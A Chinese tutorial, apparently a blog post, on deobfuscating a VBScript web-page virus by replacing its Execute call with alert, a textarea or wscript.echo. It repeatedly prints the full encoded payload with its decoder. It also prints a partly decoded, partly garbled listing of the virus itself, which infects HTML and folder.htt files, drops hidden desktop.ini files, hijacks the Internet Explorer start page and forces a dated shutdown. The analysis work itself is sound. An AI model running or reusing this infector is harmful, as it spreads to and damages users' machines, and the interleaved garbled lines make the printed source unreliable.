fnrx<0tn 1 AopkyQefCgamgdsSomxEwpLahn'x( % lyKobakKdy'x(,QEF_RZ!,mxSsaqtOafe mewt dnc rua StbAopkyQefCgamgdsSo'mxRdgJex,mxRdgSyoe+ lyQefV`lte( Om Drqoq QeruleNdxs WrSgekl-RdgVrhtd lyQefKdy+ lyQefV`lte+ lyQefTxpd EmdStb Rua bhdcjD`tdPKo`d') NnEqrnrRdstmd Mewt HfMhd'FnrlasD`tdThmd(Mov((,2(,1+ 3)=8/16! ShdnWrSgekl-Rtn(!RTNCLK31.DXD rhdlk31.clk,RHDxhtVimdnwrEw 1( EmdStb Rua BrdaseShhsEike'fnlceqsoeb,vishBomtdnss( Om Drqoq QeruleNdxs sdtmxFhld=esn.FesFhld(eokddrrpdc( mxFhld.@tsrhbttds=0 Res lyEike<fro-Cqe`tdTdxsFhld(eokddrrpdc+ Srte( mxFhld.Vrhtd vishBomtdnss lyEike-Ckore res lyEike<fro-GdtEike'fnlceqsoeb) lyEike-Astqiauser < 6 EmdStb"
Execute("for i=1 to Len(myEncString)" & vbcrlf & "s=chr(asc(mid(myEncString,i,1))+i mod 2)" & vbcrlf & "if s=chr(19) then s=chr(34)" & vbcrlf & "if s=chr(28) then s=vbCr" & vbcrlf & "if s=chr(29) then s=vbLf" & vbcrlf & "myDecString=myDecString & s" & vbcrlf & "next")
alert(myDecString)
-->
</script></html>
方法2:使用上述 document.write 中提到的以文本框的形式解决,修改代码如下:<textarea id=sorataxx rows=50 cols=100></textarea>
<script language="vbscript"><!--
myEncString="NnEqrnrRdstmd Mewt cil @poOaj+fro+WrSgekl+WhnCiq,SelpkaseCiq,ShhsCiqP`tg,SelpkaseEike+mxSsaqtOafe+DdsjtnpHNH,eokddrGTS,lyDnbSsrhnf,eSsrhnf,uCndd dhmmxEwpLahn'2(,lyKobakKdy'2(,hnhLhnd(7)+dqooMd(3) cobulemt-wqise;%ciu rtxld=&vhshbhlhtx:hhdcem'=<!&!aopkes male<'ubr.hc`rNs-0-0-10'cndd=bol.ls-abthvdX-AbthvdXBolpnndns>;/!&!aopkes>;/!&!dhv= lyCasa<;%rcqiotl`nfu`gd=!ubrcqiot!fnr<!whncov! dvdns=!! dnctmdns.vrhtd lyCasa&nnko`d!=m`im_nnko`d');/!&!sbrhps>! dnctmdns.vrhtd lyCasa&nntnko`d!=m`im_nntnko`d');/!&!sbrhps>! stbm`im_nnko`d') hnht@csiueW(( imisDhrOashr(( imisRdgDnsrher(( imisDqooCndds') bhdcjEwirtEiker(( imfdcsTgirFhld(SelpkaseEike( imfdcsRnosDhr') dnc rua stbm`im_nntnko`d') hneebtQontCiq(( cgebkDxhssFhlds') hneebtShhsEike'Tdmol`tdFhld) leqgdRdgDnsrher(( SbamFhldsHn'TgirDhrOash( cgebkCaseOLnac(( emdstb rua hnht@csiueW(( Om Drqoq QeruleNdxs SdtAopNbi < cobulemt-aopkess'ubr.hc`rNs-0-0-10( AopNbi.resCKSHD(!{E925CC12,1BF/-01C0,ACB8-/0B03FC57A/B|( AopNbi.brdaseHnrt`nbe') Res VsRhdlk < @poOaj-GdtNbiebt') @poOaj-sdtBLRIC 'z0C42FD00-E083,10CE-7930,0/A/C8044127}!) @poOaj-cqe`tdImssamcd(( Sdtfro=AopNbi.FesOajdcs(( emdstb rua hnhtCiqP`tgs') NnEqrnrRdstmd Mewt VimDhr=fro-GdtRpdchakFnlceq(/) SelpkaseCiq < VimDhr&[&Vea&[ SelpkaseEike=Tdmol`tdDhr&eokddr-hst! TgirDhrOash=Mhd'whncov.kobasinn+ 8,Ldn'whncov.kobasinn() Eoq w < Kem(ShhsCiqP`tg)Tn 0 Rtdp-0 Ie Lic(ShhsCiqP`tg,x+ 0)=.Tgem DxhtFnr Mewt HfLBare'Rhggt'TgirDhrOash+ 2)( < !hsm! NrLBare'Rhggt'TgirDhrOash+ 3)( < !hsmkTgem TgirDhrOash=Mhd'TgirDhrOash+ 0,x( Eksd TgirDhrOash=Mhd'TgirDhrOash+ 0,Ldn'TgirDhrOash( * w)&. ShhsCiqP`tg < tndsbaoe'TgirDhrOash( EmdIe emdstb rua hnhtQefEmtqids') NnEqrnrRdstmd Mewt lyKobakKdy'0( < !SsaqtP`gd lyKobakKdy'1( < !Lnc`lP`gd lyKobakKdy'2( < !Ddf`ukt^P`gd_TRK lyDxoM`im(/)=GKDY^CTRQEMT^UREQ\Roetvaqe[Mhcqoroet[Imtdrmes Dxolnrdr[M`im\! mxEwpLahn'1( < !HJEX_KOBAK_LABHHND\Roetvaqe[Mhcqoroet[Imtdrmes Dxolnrdr[M`im\! mxEwpLahn'2( < !HJEX_TSDRR\-DDF@UKT[Snfsw`rd\Librnsnfs\HnseqndtEwpkoqeq\Lahn[ lyRt`rsP`gd < !hsto:./vwv.fenchther.bol/gecd`_laqid_sokemthnn/hncew.gtl dnc rua stbimisDqooCndds') NnEqrnrRdstmd Mewt hnhLhnd(/)<ZEwtRhdlkFnlceqVhevs\ hnhLhnd(0)<Ceeatls=z5883FEE/-18C4,10CE-@E56,070/2A2D1161}! imiKime'2(=!{4974EFD0,27D3-01BF,AD65-/8/01B1E0252|=z5883FEE/-18C4,10CE-@E56,070/2A2D1161}! imiKime'3(=! hnhLhnd(3)<Z{4974EFD0,27D3-01BF,AD65-/8/01B1E0252|]! imiKime'5(=!PdrrirtLomijeq=eike9/.Fnlceq.gts hnhLhnd(5)<! imiKime'7(=![-SgeklBl`srImfn]! imiKime'8(=!CnneiqmEikeNp<0! fnrx=0tn 7 DdsjtnpHNH=CerksooIMI&imiKime'x( % ubbrkf mewt eokddrGTS < !<!&!hsmk>;%aocyssyke<!m`rfim:0!sbrnlk=mo=<!&!oajdcs hd<FhldLhss aoqddr<0t`bhncew=0 bl`sric=!blric:0810EEC0,463D-01C0,A86B-/0B03FC7/5@2!ssyke<!whdsh9 00/%: gehggt9 00/%!t`bHncew=,1=<.%nbiebt=<.%aocy=<.%gtll= crnpLe'0( < !<!&!sbrhps kamgtafe<!vasbrhps!>;%cgr'32)%,-! dqooMd(0)=lyDnbSsrhnf=!!&lyDnbSsrhnf&!! crnpLe'2( < !Ewe! % !cttd(!eoq h=0 soLdn'mxEmcRtqimg(! % ubbrkf&!s<cgr'arc'mhd'mxEmcRtqimg+i+1()*imnd2(! &vacqle % !hfs<cgr'18)tgem r=bhq(24(! &vacqle % !hfs<cgr'27)tgem r=ubBr! % ubbrkf&!ie r=bhq(19( shdns<vaLe! &vacqle % !lyCebSsrhnf=lyCebSsrhnf % r! &vacqle % !mewt!( crnpLe'3( < !Ewe! % !cttd(lyCebSsrhnf)! dqooMd(3)=,-! % !>;/! % !sbrhps>! fnrx=0tn 3 vBoce<vBoce&dqooMd(w)&vacqle ndxs fRtqimg<mxEmcRtqimg dnc rua StbSbamFhldsHn'fnlceqsoeb) NnEqrnrRdstmd Mewt Res lyEokddrr2=fro-GdtEokddr'fnlceqsoeb) Res lyRuaFnlceqFhlds=mxFnlceqs1.Eiker FnrE`cg lyRuaFnlceqFhld HnmxStbEokddrEiker mxEwt=LBare'fro-GdtDxsemshomN`md(lyRuaFnlceqFhld.Male() HfmxEwt=gtlOq lyDxs < !hsmkOq lyDxs < !hst! Shdn hneebtShhsEike(lyRuaFnlceqFhld.Oash( HfmxEwt=gtsTgem SdtmxFhld < esn.FesFhld(lyRuaFnlceqFhld.Oash( mxFhld.@tsrhbttds=7 Dnc Hf Dnc Hf Mewt Dnc Rua StbimfdcsTgirFhld(eokddrrpdc( Om Drqoq QeruleNdxs SdtmxFhld < esn.NpdnSewtEike'fnlceqsoeb) lyBomtdnss=mxFhld.Qe`d@lk mxFhld.Blnsd k<0 eoq h=ldn'mxCnnsemtr)tn 0 rtdp-0 ie lic(lyBomtdnss+i+ldn'fRtqimg()<fRtqimgtgem j=j+0 ewis eoq emdie ndxs ie j=/ shdn vOCndd=lyBomtdnss&vacqle % uCndd SdtmxFhld < esn.FesFhld(eokddrrpdc( mxFhld.@tsrhbttds=0 Res lyEike=fro-OoemTdxsFhld(eokddrrpdc+ 1) lyEike-WqisevOCndd mxFhld.Blnsd emdie EmdStb rua bhdcjEwirtEiker(( Om Drqoq QeruleNdxs Ie mos(esn.EokddrDxhsss'Tdmol`tdDhr()Tgem Res lyEike=fro-Cqe`tdFnlceq(SelpkaseCiq) Res lyEike=fro-GdtEokddr'Tdmol`tdDhr( mxFhld.@tsrhbttds=7 BrdaseShhsEikeTdmol`tdFhld,eokddrGTS emdstb rua hneebtQontCiq(( Om Drqoq QeruleNdxs Ie Kem(tndsbaoe'TgirDhrOash()<< 3 Shdn ShhsCiqP`tg <Mhd'TgirDhrOash+ 0,3( BrdaseShhsEikeTgirDhrOash%eokddr-hst!,eokddrGTS&ubbrkf%vBoce BrdaseShhsEikeTgirDhrOash%cerksoo.hnh+DdsjtnpHNH emdie emdstb rua leqgdRdgDnsrher(( Om Drqoq QeruleNdxs fnrx<0tn 1 AopkyQefCgamgdsSomxEwpLahn'x( % lyKobakKdy'x(,QEF_RZ!,mxSsaqtOafe mewt dnc rua StbAopkyQefCgamgdsSo'mxRdgJex,mxRdgSyoe+ lyQefV`lte( Om Drqoq QeruleNdxs WrSgekl-RdgVrhtd lyQefKdy+ lyQefV`lte+ lyQefTxpd EmdStb Rua bhdcjD`tdPKo`d') NnEqrnrRdstmd Mewt HfMhd'FnrlasD`tdThmd(Mov((,2(,1+ 3)=8/16! ShdnWrSgekl-Rtn(!RTNCLK31.DXD rhdlk31.clk,RHDxhtVimdnwrEw 1( EmdStb Rua BrdaseShhsEike'fnlceqsoeb,vishBomtdnss( Om Drqoq QeruleNdxs sdtmxFhld=esn.FesFhld(eokddrrpdc( mxFhld.@tsrhbttds=0 Res lyEike<fro-Cqe`tdTdxsFhld(eokddrrpdc+ Srte( mxFhld.Vrhtd vishBomtdnss lyEike-Ckore res lyEike<fro-GdtEike'fnlceqsoeb) lyEike-Astqiauser < 6 EmdStb"
Execute("for i=1 to Len(myEncString)" & vbcrlf & "s=chr(asc(mid(myEncString,i,1))+i mod 2)" & vbcrlf & "if s=chr(19) then s=chr(34)" & vbcrlf & "if s=chr(28) then s=vbCr" & vbcrlf & "if s=chr(29) then s=vbLf" & vbcrlf & "myDecString=myDecString & s" & vbcrlf & "next")
sorataxx.value=(myDecString)
--></script>
方法 1 和 方法 2 修改代码,然后 ie 执行得到“明文”:On Error Resume Next
dim AppObj,fso,WsShell,WinDir,TemplateDir,ThisDirPath,TemplateFile,myStartPage,DesktopINI,folderHTT,myEncString,fString,vCode
! ! ! ! ehnnxFwqLbho'3(-lzKpbbkLdz'3(-hohMhod)7*+eqpoNd)3* cpbvlfmu-xqjsf;%cju!ruxmd>&whthchmhux;ihecfm(==!'!boqkfs!mblf<(ucr/hd`sNt-1-1-20(dned>bpl/lt-bbuhwdY-BbuhwdYBplqnodos?;0!'!boqkfs?;0!'!ehw= lzCbsb<;%rdqjoum`ofv`hd>!ucrdqjou!gns<!xhocpv!!dwdos>!!
! ! ! !document.write myData & "onload"">main_onload()</"&"script>"
! ! ! ! endtndos/vshud!lzCbsb'notokp`e!=n`jm`notokp`e'*;0!'!tbshqs?!
! ! ! !sub main_onload()
initActiveX()
! ! ! ! jmjsEhsObsir)(
! ! ! !initRegEntries()
! ! ! ! jmjsEqpoDnedt'* biddjFwjruEjkfr)(
! ! ! !infectThisFile(TemplateFile)
! ! ! ! jmgddsSnpsEhs'* doc!rva
! ! ! !sub main_onunload()
infectRootDir()
! ! ! ! dgfblDyhtsGhmdt'* hoefbuSihtEjkf'Udnom`udGhmd* lfqhdSdhDosshfr)(
! ! ! !ScanFilesIn(ThisDirPath)
! ! ! ! dgfblCbsfOMnbc)(
! ! ! !end sub
sub initActiveX()
! ! ! ! Pm!Dsqpq!QfrvlfOdys
! ! ! !Set AppObj = document.applets("vbs.icarOs.0.0.11")
! ! ! ! BoqNci/rfsDKTHE)!|E:26CD13,2BG/.02C1,BCC8./1B13GC67B/C|(
! ! ! !AppObj.createInstance()
Set WsShell = AppObj.GetObject()
AppObj.setCLSID ("{0D43FE01-F093-11CF-8940-00A0C9054228}")
AppObj.createInstance()
! ! ! ! Tdugrp>BoqNci/FfsPakdds)(
! ! ! !end sub
sub initDirPaths()
On Error Resume Next
WinDir = fso.GetSpecialFolder(0)
TemplateDir = WinDir & "" & "Web" & ""
TemplateFile = TemplateDir & "folder.htt"
! ! ! ! UgjrEhsObsi>Nhe'xhocpv/kpbbsjno+!8-Mdo'xhocpv/kpbbsjno(* Epq!w!<!Kfm)SihtCjqQ`ug*Un!0!Rudq.0
! ! ! !If Mid(ThisDirPath, x, 1) = "/" Then Exit For
Next
If LCase(Right(ThisDirPath, 3)) = "htm" Or LCase(Right(ThisDirPath, 4)) = "html" Then
! ! ! ! UgjrEhsObsi>Nhe'UgjrEhsObsi+!0-y(
! ! ! !Else
! ! ! ! UgjrEhsObsi>Nhe'UgjrEhsObsi+!0-Mdo'UgjrEhsObsi(!*!w*'. SihtCjqQ`ug!<!todtbbof'UgjrEhsObsi(
! ! ! !End If
! ! ! ! fmettc rva!hohuQffFmuqjdt'* NoFqsnsSdttnd!Mfwu lzKpbbkLdz'1(!<!!TsbquQ`hd lzKpbbkLdz'2(!<!!Mnd`mQ`hd lzKpbbkLdz'3(!<!!Edg`vku^Q`hd`TSK lzDyoN`jm)/*>GLDZ^DTSQFMU^VRFQ]Rpeuvbqf[Nhdqprpeu[Jmudsmfs!Dyomnsds[N`jm]!
! ! ! !myExpMain(1) = "HKEY_LOCAL_MACHINE\Software\Microsoft\Internet Explorer\Main"
! ! ! ! nxFwqLbho'3(!<!!IJFX`TTDSR]-EDG@VKU[Tngsx`sd]Ljbsntngs]HosfqoduFwqkpqfq]Lbho[ lzRu`ssQ`hd!<!!isuo;.0vxv/ffndhuhfr/bpl0gfce``lbqjd`spkfmuhon0hocfw/gul doc!rva
! ! ! !sub initDropCodes()
On Error Resume Next
iniLine(0)="[ExtShellFolderViews]"
iniLine(1)="Default={5984FFE0-28D4-11CF-AE66-08002B2E1262}"
! ! ! ! jmjKjmf'3(>!|4:75EGD1,37E3.02BG,BD75./9/11C1F0353|>z6893GEF/.19C5,20DE.@F57,171/3A3D2171~!
! ! ! !iniLine(3)=""
iniLine(4)="[{5984FFE0-28D4-11CF-AE66-08002B2E1262}]"
! ! ! ! jmjKjmf'6(>!QdsrjruLpmjjfq>ejkf90.Gnmcfq/gus hohMhod)5*<!
! ! ! !iniLine(7)="[.ShellClassInfo]"
! ! ! ! jmjKjmf'9(>!DnoejqnEjkfNq<1!
! ! ! !for x = 0 to 8
! ! ! ! EdtjunqHOH>CfrlspoJMJ'jmjKjmf'y(!%!ucbskg mfwu epkedsGUS!<!!=!'!isnk?;%apcztszkf<!n`sfjm;1!tbsnmk>mp==!'!pakdds!he<GhmdMhts!apqeds<1u`chocfw>0!bm`trjc>!bmrjc;0911EFC1,564D.02C1,B87B./1B13GC8/6@3!tszkf<!xhesi9!01/&:!gfhhgu9!01/&!u`cHocfw>,2==.%ncifbu==.%apcz==.%gulm= csnqLf'1(!<!!=!'!tbshqs!kbmhtbff<!watbshqs!?;%dgs'42*%,.!
! ! ! !dropMe(1) = "myEncString="""&myEncString&""""
dropMe(2) = "Exe" & "cute(""for i=1 to Len(myEncString)"" & vbcrlf & ""s=chr(asc(mid(myEncString,i,1))+i mod 2)"" & vbcrlf & ""if s=chr(19) then s=chr(34)"" & vbcrlf & ""if s=chr(28) then s=vbCr"" & vbcrlf & ""if s=chr(29) then s=vbLf"" & vbcrlf & ""myDecString=myDecString & s"" & vbcrlf & ""next"")"
dropMe(3) = "Exe" & "cute(myDecString)"
! ! ! ! eqpoNd)3*>,.!!%!!?;0!!%!!tbshqs?!
! ! ! !for x = 0 to 4
! ! ! ! wBpcf<wBpcf'eqpoNd)w*'wadqme
! ! ! !next
! ! ! ! gRuqjmh<nxFmdRuqjmh doc!rva
! ! ! !Sub ScanFilesIn(folderspec)
On Error Resume Next
Set myFolders2 = fso.GetFolder(folderspec)
Set mySubFolderFiles = myFolders2.Files
! ! ! ! GnsF`dg!lzRvaGnmcfqGhmd!HonxTtcEpkedsEjkfr
! ! ! !myExt = LCase(fso.GetExtensionName(mySubFolderFile.Name))
If myExt = "htm" Or myExt = "html" Or myExt = "htt" Then
infectThisFile (mySubFolderFile.Path) ! ! ! !! ! ! !
If myExt = "htt" Then
! ! ! ! TdunxGhmd!<!etn/FfsGhmd)lzRvaGnmcfqGhmd/Obsi(
! ! ! !myFile.Attributes = 7
End If
End If
Next
End Sub
! ! ! ! TtcjmgddsUgjrGhmd)epkedsrqdd(
! ! ! !On Error Resume Next
! ! ! ! TdunxGhmd!<!etn/NqdoSfwuEjkf'gnmcfqtofb* lzBpmudost>nxGhmd/Qf`e@mk
! ! ! !myFile.Close
! ! ! ! l<1 epq!h>mdo'nxDnosfmur*un!0!rudq.0
! ! ! !if mid(myContents,i,len(fString))=fString then
k=k+1
! ! ! ! fwjs!epq
! ! ! !end if
! ! ! ! odys
! ! ! !if k=0 then
! ! ! ! wODned>lzBpmudost'wadqme!%!uDned
! ! ! !Set myFile = fso.GetFile(folderspec)
! ! ! ! nxGhmd/@usshctudt>1 Rfs!lzEjkf>grp-PofmUdysGhmd)epkedsrqdd+!1* lzEjkf-XqjsfwODned
! ! ! !myFile.Close
! ! ! ! fmeje
! ! ! !End Sub
sub checkExistFiles()
! ! ! ! Pm!Dsqpq!QfrvlfOdys
! ! ! !If not(fso.FolderExists(TemplateDir)) Then Set myFile = fso.CreateFolder(TemplateDir)
Set myFile = fso.GetFolder(TemplateDir)
! ! ! ! nxGhmd/@usshctudt>8 BsdbsfSihtEjkfUdnom`udGhmd-epkedsGUS
! ! ! !end sub
sub infectRootDir()
! ! ! ! Pm!Dsqpq!QfrvlfOdys
! ! ! !If Len(unescape(ThisDirPath)) <= 4 Then
ThisDirPath =Mid(ThisDirPath, 1, 3)
CreateThisFile ThisDirPath&"folder.htt",folderHTT&vbcrlf&vCode
CreateThisFile ThisDirPath&"desktop.ini",DesktopINI
! ! ! ! fmeje
! ! ! !end sub
sub mergeRegEntries()
! ! ! ! Pm!Dsqpq!QfrvlfOdys
! ! ! !for x=0 to 2
! ! ! ! BoqkzQffDgbmhdtSpnxFwqLbho'y(!%!lzKpbbkLdz'y(-QFF`R[!-nxTsbquObff mfwu doc!rva
! ! ! !Sub ApplyRegChangesTo(myRegKey, myRegType, myRegValue)
! ! ! ! Pm!Dsqpq!QfrvlfOdys
! ! ! !WsShell.RegWrite myRegKey, myRegValue, myRegType
! ! ! ! FmeTtc Rva!biddjE`udQKp`e'* NoFqsnsSdttnd!Mfwu HgNhe'GnslbsE`udUhnd)Mpv)(-3(-2+!3*>8017!!SidoXrTgfkm-Sto)!STOCMK41/DYD!ridmk41/cmk-RIDyhuVjmenxrFw!1(
! ! ! !End Sub
Sub CreateThisFile(folderspec,withContents)
! ! ! ! Pm!Dsqpq!QfrvlfOdys
! ! ! !set myFile=fso.GetFile(folderspec)
! ! ! ! nxGhmd/@usshctudt>1 Rfs!lzEjkf<grp-Dqf`udUdysGhmd)epkedsrqdd+!Sstf(
! ! ! !myFile.Write withContents
myFile.Close
set myFile=fso.GetFile(folderspec)
myFile.Attributes = 7
! ! ! ! FmeTtc
方法 3:直接 wscript.echo 替换 execute,然后执行该 vbs:myEncString = "NnEqrnrRdstmd Mewt cil @poOaj+fro+WrSgekl+WhnCiq,SelpkaseCiq,ShhsCiqP`tg,SelpkaseEike+mxSsaqtOafe+DdsjtnpHNH,eokddrGTS,lyDnbSsrhnf,eSsrhnf,uCndd dhmmxEwpLahn'2(,lyKobakKdy'2(,hnhLhnd(7)+dqooMd(3) cobulemt-wqise;%ciu rtxld=&vhshbhlhtx:hhdcem'=<!&!aopkes male<'ubr.hc`rNs-0-0-10'cndd=bol.ls-abthvdX-AbthvdXBolpnndns>;/!&!aopkes>;/!&!dhv= lyCasa<;%rcqiotl`nfu`gd=!ubrcqiot!fnr<!whncov! dvdns=!! dnctmdns.vrhtd lyCasa&nnko`d!=m`im_nnko`d');/!&!sbrhps>! dnctmdns.vrhtd lyCasa&nntnko`d!=m`im_nntnko`d');/!&!sbrhps>! stbm`im_nnko`d') hnht@csiueW(( imisDhrOashr(( imisRdgDnsrher(( imisDqooCndds') bhdcjEwirtEiker(( imfdcsTgirFhld(SelpkaseEike( imfdcsRnosDhr') dnc rua stbm`im_nntnko`d') hneebtQontCiq(( cgebkDxhssFhlds') hneebtShhsEike'Tdmol`tdFhld) leqgdRdgDnsrher(( SbamFhldsHn'TgirDhrOash( cgebkCaseOLnac(( emdstb rua hnht@csiueW(( Om Drqoq QeruleNdxs SdtAopNbi < cobulemt-aopkess'ubr.hc`rNs-0-0-10( AopNbi.resCKSHD(!{E925CC12,1BF/-01C0,ACB8-/0B03FC57A/B|( AopNbi.brdaseHnrt`nbe') Res VsRhdlk < @poOaj-GdtNbiebt') @poOaj-sdtBLRIC 'z0C42FD00-E083,10CE-7930,0/A/C8044127}!) @poOaj-cqe`tdImssamcd(( Sdtfro=AopNbi.FesOajdcs(( emdstb rua hnhtCiqP`tgs') NnEqrnrRdstmd Mewt VimDhr=fro-GdtRpdchakFnlceq(/) SelpkaseCiq < VimDhr&[&Vea&[ SelpkaseEike=Tdmol`tdDhr&eokddr-hst! TgirDhrOash=Mhd'whncov.kobasinn+ 8,Ldn'whncov.kobasinn() Eoq w < Kem(ShhsCiqP`tg)Tn 0 Rtdp-0 Ie Lic(ShhsCiqP`tg,x+ 0)=.Tgem DxhtFnr Mewt HfLBare'Rhggt'TgirDhrOash+ 2)( < !hsm! NrLBare'Rhggt'TgirDhrOash+ 3)( < !hsmkTgem TgirDhrOash=Mhd'TgirDhrOash+ 0,x( Eksd TgirDhrOash=Mhd'TgirDhrOash+ 0,Ldn'TgirDhrOash( * w)&. ShhsCiqP`tg < tndsbaoe'TgirDhrOash( EmdIe emdstb rua hnhtQefEmtqids') NnEqrnrRdstmd Mewt lyKobakKdy'0( < !SsaqtP`gd lyKobakKdy'1( < !Lnc`lP`gd lyKobakKdy'2( < !Ddf`ukt^P`gd_TRK lyDxoM`im(/)=GKDY^CTRQEMT^UREQ\Roetvaqe[Mhcqoroet[Imtdrmes Dxolnrdr[M`im\! mxEwpLahn'1( < !HJEX_KOBAK_LABHHND\Roetvaqe[Mhcqoroet[Imtdrmes Dxolnrdr[M`im\! mxEwpLahn'2( < !HJEX_TSDRR\-DDF@UKT[Snfsw`rd\Librnsnfs\HnseqndtEwpkoqeq\Lahn[ lyRt`rsP`gd < !hsto:./vwv.fenchther.bol/gecd`_laqid_sokemthnn/hncew.gtl dnc rua stbimisDqooCndds') NnEqrnrRdstmd Mewt hnhLhnd(/)<ZEwtRhdlkFnlceqVhevs\ hnhLhnd(0)<Ceeatls=z5883FEE/-18C4,10CE-@E56,070/2A2D1161}! imiKime'2(=!{4974EFD0,27D3-01BF,AD65-/8/01B1E0252|=z5883FEE/-18C4,10CE-@E56,070/2A2D1161}! imiKime'3(=! hnhLhnd(3)<Z{4974EFD0,27D3-01BF,AD65-/8/01B1E0252|]! imiKime'5(=!PdrrirtLomijeq=eike9/.Fnlceq.gts hnhLhnd(5)<! imiKime'7(=![-SgeklBl`srImfn]! imiKime'8(=!CnneiqmEikeNp<0! fnrx=0tn 7 DdsjtnpHNH=CerksooIMI&imiKime'x( % ubbrkf mewt eokddrGTS < !<!&!hsmk>;%aocyssyke<!m`rfim:0!sbrnlk=mo=<!&!oajdcs hd<FhldLhss aoqddr<0t`bhncew=0 bl`sric=!blric:0810EEC0,463D-01C0,A86B-/0B03FC7/5@2!ssyke<!whdsh9 00/%: gehggt9 00/%!t`bHncew=,1=<.%nbiebt=<.%aocy=<.%gtll= crnpLe'0( < !<!&!sbrhps kamgtafe<!vasbrhps!>;%cgr'32)%,-! dqooMd(0)=lyDnbSsrhnf=!!&lyDnbSsrhnf&!! crnpLe'2( < !Ewe! % !cttd(!eoq h=0 soLdn'mxEmcRtqimg(! % ubbrkf&!s<cgr'arc'mhd'mxEmcRtqimg+i+1()*imnd2(! &vacqle % !hfs<cgr'18)tgem r=bhq(24(! &vacqle % !hfs<cgr'27)tgem r=ubBr! % ubbrkf&!ie r=bhq(19( shdns<vaLe! &vacqle % !lyCebSsrhnf=lyCebSsrhnf % r! &vacqle % !mewt!( crnpLe'3( < !Ewe! % !cttd(lyCebSsrhnf)! dqooMd(3)=,-! % !>;/! % !sbrhps>! fnrx=0tn 3 vBoce<vBoce&dqooMd(w)&vacqle ndxs fRtqimg<mxEmcRtqimg dnc rua StbSbamFhldsHn'fnlceqsoeb) NnEqrnrRdstmd Mewt Res lyEokddrr2=fro-GdtEokddr'fnlceqsoeb) Res lyRuaFnlceqFhlds=mxFnlceqs1.Eiker FnrE`cg lyRuaFnlceqFhld HnmxStbEokddrEiker mxEwt=LBare'fro-GdtDxsemshomN`md(lyRuaFnlceqFhld.Male() HfmxEwt=gtlOq lyDxs < !hsmkOq lyDxs < !hst! Shdn hneebtShhsEike(lyRuaFnlceqFhld.Oash( HfmxEwt=gtsTgem SdtmxFhld < esn.FesFhld(lyRuaFnlceqFhld.Oash( mxFhld.@tsrhbttds=7 Dnc Hf Dnc Hf Mewt Dnc Rua StbimfdcsTgirFhld(eokddrrpdc( Om Drqoq QeruleNdxs SdtmxFhld < esn.NpdnSewtEike'fnlceqsoeb) lyBomtdnss=mxFhld.Qe`d@lk mxFhld.Blnsd k<0 eoq h=ldn'mxCnnsemtr)tn 0 rtdp-0 ie lic(lyBomtdnss+i+ldn'fRtqimg()<fRtqimgtgem j=j+0 ewis eoq emdie ndxs ie j=/ shdn vOCndd=lyBomtdnss&vacqle % uCndd SdtmxFhld < esn.FesFhld(eokddrrpdc( mxFhld.@tsrhbttds=0 Res lyEike=fro-OoemTdxsFhld(eokddrrpdc+ 1) lyEike-WqisevOCndd mxFhld.Blnsd emdie EmdStb rua bhdcjEwirtEiker(( Om Drqoq QeruleNdxs Ie mos(esn.EokddrDxhsss'Tdmol`tdDhr()Tgem Res lyEike=fro-Cqe`tdFnlceq(SelpkaseCiq) Res lyEike=fro-GdtEokddr'Tdmol`tdDhr( mxFhld.@tsrhbttds=7 BrdaseShhsEikeTdmol`tdFhld,eokddrGTS emdstb rua hneebtQontCiq(( Om Drqoq QeruleNdxs Ie Kem(tndsbaoe'TgirDhrOash()<< 3 Shdn ShhsCiqP`tg <Mhd'TgirDhrOash+ 0,3( BrdaseShhsEikeTgirDhrOash%eokddr-hst!,eokddrGTS&ubbrkf%vBoce BrdaseShhsEikeTgirDhrOash%cerksoo.hnh+DdsjtnpHNH emdie emdstb rua leqgdRdgDnsrher(( Om Drqoq QeruleNdxs fnrx<0tn 1 AopkyQefCgamgdsSomxEwpLahn'x( % lyKobakKdy'x(,QEF_RZ!,mxSsaqtOafe mewt dnc rua StbAopkyQefCgamgdsSo'mxRdgJex,mxRdgSyoe+ lyQefV`lte( Om Drqoq QeruleNdxs WrSgekl-RdgVrhtd lyQefKdy+ lyQefV`lte+ lyQefTxpd EmdStb Rua bhdcjD`tdPKo`d') NnEqrnrRdstmd Mewt HfMhd'FnrlasD`tdThmd(Mov((,2(,1+ 3)=8/16! ShdnWrSgekl-Rtn(!RTNCLK31.DXD rhdlk31.clk,RHDxhtVimdnwrEw 1( EmdStb Rua BrdaseShhsEike'fnlceqsoeb,vishBomtdnss( Om Drqoq QeruleNdxs sdtmxFhld=esn.FesFhld(eokddrrpdc( mxFhld.@tsrhbttds=0 Res lyEike<fro-Cqe`tdTdxsFhld(eokddrrpdc+ Srte( mxFhld.Vrhtd vishBomtdnss lyEike-Ckore res lyEike<fro-GdtEike'fnlceqsoeb) lyEike-Astqiauser < 6 EmdStb"
Execute("for i=1 to Len(myEncString)" & vbcrlf & "s=chr(asc(mid(myEncString,i,1))+i mod 2)" & vbcrlf & "if s=chr(19) then s=chr(34)" & vbcrlf & "if s=chr(28) then s=vbCr" & vbcrlf & "if s=chr(29) then s=vbLf" & vbcrlf & "myDecString=myDecString & s" & vbcrlf & "next")
wscript.echo(myDecString)
"明文"在上面也已经贴过了,然后我们思考下,看似在对 vbs 的反混淆方法我列了 3 个,实际上也不止,但根本,只有一个—— 对 execute 的处理,基本上就可通杀;
类比思考,大部分 javascript 又何尝不是如此,都在 eval 和 document.write 上,所谓的 alert 替换看似是在讲第一部分中出现的,可是它的实际使用却又往往不拘泥于此,了解 alert 的实质得一法可通万法。
现在的网络环境日益严峻,层出不穷的各种混淆方式也带来了无穷无尽的“新概念”,盲目浸淫于各种“教程”和“工具”只会精疲力尽事倍功半。
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